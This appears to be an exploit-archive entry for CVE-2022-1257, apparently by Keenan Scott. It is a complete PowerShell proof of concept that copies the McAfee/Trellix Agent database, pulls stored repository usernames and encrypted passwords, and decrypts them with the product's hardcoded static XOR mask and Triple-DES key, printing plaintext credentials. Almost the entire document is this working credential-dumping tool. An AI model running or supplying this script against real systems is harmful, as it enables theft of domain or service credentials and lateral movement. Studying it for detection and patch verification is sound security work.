Exploit Title: McAfee Agent 5.7.6 - Insecure Storage of Sensitive Information
Date: 24 June 2025
Exploit Author: Keenan Scott
Vendor Homepage: hxxps[://]www[.]mcafee[.]com/
Software Download: N/A (Unable to find)
Version: < 5.7.6
Tested on: Windows 11
CVE: CVE-2022-1257

<#
.SYNOPSIS
    Dump and decrypt encrypted Windows credentials from Trellix Agent Database ("C:\ProgramData\McAfee\Agent\DB\ma.db") - PoC for CVE-2022-1257. Made by scottk817

.DESCRIPTION
    This script demonstrates exploitation of CVE-2022-1257, a vulnerability in McAfee's Trellix Agent Database where attackers can retrieve and decrypt credentials from the `ma.db` database file.

.LINK
    https://nvd.nist.gov/vuln/detail/cve-2022-1257
    https://github.com/funoverip/mcafee-sitelist-pwd-decryption/blob/master/mcafee_sitelist_pwd_decrypt.py
    https://mrd0x.com/abusing-mcafee-vulnerabilities-misconfigurations/
    https://tryhackme.com/room/breachingad

.OUTPUTS
    CSV in stdOut:
        Username,Password
#>



# Arguments
[CmdletBinding()]
param (
    [string]$DbSource = 'C:\ProgramData\McAfee\Agent\DB\ma.db',
    [string]$TempFolder = $env:TEMP
)



### Initialize use of WinSQLite3 ###
$cls = "WinSQLite_{0}" -f ([guid]::NewGuid().ToString('N'))

$code = @"
using System;
using System.Runtime.InteropServices;

public static class $cls
{
    public const int SQLITE_OK  = 0;
    public const int SQLITE_ROW = 100;

    [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)]
    public static extern int sqlite3_open_v2(
        [MarshalAs(UnmanagedType.LPStr)] string filename,
        out IntPtr db,
        int flags,
        IntPtr vfs
    );

    [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)]
    public static extern int sqlite3_close(IntPtr db);

    [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)]
    public static extern int sqlite3_prepare_v2(
        IntPtr db, string sql, int nByte,
        out IntPtr stmt, IntPtr pzTail
    );

    [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)]
    public static extern int sqlite3_step(IntPtr stmt);

    [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)]
    public static extern IntPtr sqlite3_column_text(IntPtr stmt, int col);

    [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)]
    public static extern int sqlite3_finalize(IntPtr stmt);
}
"@

# SQL statement to retrieve usersnames and encrypted passwords from ma.db
$sql = @"
SELECT AUTH_USER, AUTH_PASSWD
FROM AGENT_REPOSITORIES
WHERE AUTH_PASSWD IS NOT NULL;
"@

Add-Type -TypeDefinition $code -PassThru | Out-Null
$type = [type]$cls



### Decode and Decrypt ###
# Function to decode, and decrypt the credentials found in the DB using the static keys used for every Trellix agent.
function Invoke-McAfeeDecrypt {
    param([string]$B64)

    [byte[]]$mask = 0x12,0x15,0x0F,0x10,0x11,0x1C,0x1A,0x06,
                    0x0A,0x1F,0x1B,0x18,0x17,0x16,0x05,0x19
    [byte[]]$buf = [Convert]::FromBase64String($B64.Trim())
    for ($i = 0; $i -lt $buf.Length; $i++) {
        $buf[$i] = $buf[$i] -bxor $mask[$i % $mask.Length]
    }

    $sha = [System.Security.Cryptography.SHA1]::Create()
    [byte[]]$key = $sha.ComputeHash([Text.Encoding]::ASCII.GetBytes("<!@#$%^>")) + (0..3 | ForEach-Object { 0 })

    $tdes = [System.Security.Cryptography.TripleDES]::Create()
    $tdes.Mode = 'ECB'
    $tdes.Padding = 'None'
    $tdes.Key = $key
    [byte[]]$plain = $tdes.CreateDecryptor().TransformFinalBlock($buf, 0, $buf.Length)

    $i = 0
    while ($i -lt $plain.Length -and $plain[$i] -ge 0x20 -and $plain[$i] -le 0x7E) {
        $i++
    }
    if ($i -eq 0) { return '' }
    [Text.Encoding]::UTF8.GetString($plain, 0, $i)
}


### Copy ma.db ###
# Copy ma.db over to temp directory add GUID incase it already exists there.
$tmp = Join-Path $TempFolder ("ma_{0}.db" -f ([guid]::NewGuid()))
Copy-Item -LiteralPath $DbSource -Destination $tmp -Force

### Pull records ###
$dbPtr = [IntPtr]::Zero
$stmtPtr = [IntPtr]::Zero
$flags = 1
$rc = $type::sqlite3_open_v2($tmp, [ref]$dbPtr, $flags, [IntPtr]::Zero)

if ($rc -ne $type::SQLITE_OK) {
    $msg = [Runtime.InteropServices.Marshal]::PtrToStringAnsi(
        $type::sqlite3_errmsg($dbPtr))
    Throw "sqlite3_open_v2 failed (code $rc) : $msg"
}

$rc = $type::sqlite3_prepare_v2($dbPtr, $sql, -1, [ref]$stmtPtr, [IntPtr]::Zero)

if ($rc -ne $type::SQLITE_OK) {
    $msg = [Runtime.InteropServices.Marshal]::PtrToStringAnsi(
        $type::sqlite3_errmsg($dbPtr))
    $type::sqlite3_close($dbPtr) | Out-Null
    Throw "sqlite3_prepare_v2 failed (code $rc) : $msg"
}

$buffer = [System.Collections.Generic.List[string]]::new()
while ($type::sqlite3_step($stmtPtr) -eq $type::SQLITE_ROW) {
    $uPtr = $type::sqlite3_column_text($stmtPtr, 0)
    $pPtr = $type::sqlite3_column_text($stmtPtr, 1)

    $user = [Runtime.InteropServices.Marshal]::PtrToStringAnsi($uPtr)
    $pass = [Runtime.InteropServices.Marshal]::PtrToStringAnsi($pPtr)

    if ($user -and $pass) {
        $buffer.Add("$user,$pass")
    }
}

### Cleanup ###
# Finish and close SQL
$type::sqlite3_finalize($stmtPtr) | Out-Null
$type::sqlite3_close($dbPtr) | Out-Null

# Delete the ma.db file copied to the temp file
Remove-Item $tmp -Force -ErrorAction SilentlyContinue

### Process encrypted credentials ###
# For each row of credentials decrypt them and print plaintext to standard out.
foreach ($line in $buffer) {
    $rec = $line -split ',', 2
    if ($rec.Length -eq 2) {
        $username = $rec[0]
        try {
            $password = Invoke-McAfeeDecrypt $rec[1]
        } catch {
            $password = "[DECRYPT-ERROR] $_"
        }
        "Username,Password"
        "$username,$password"
    }
}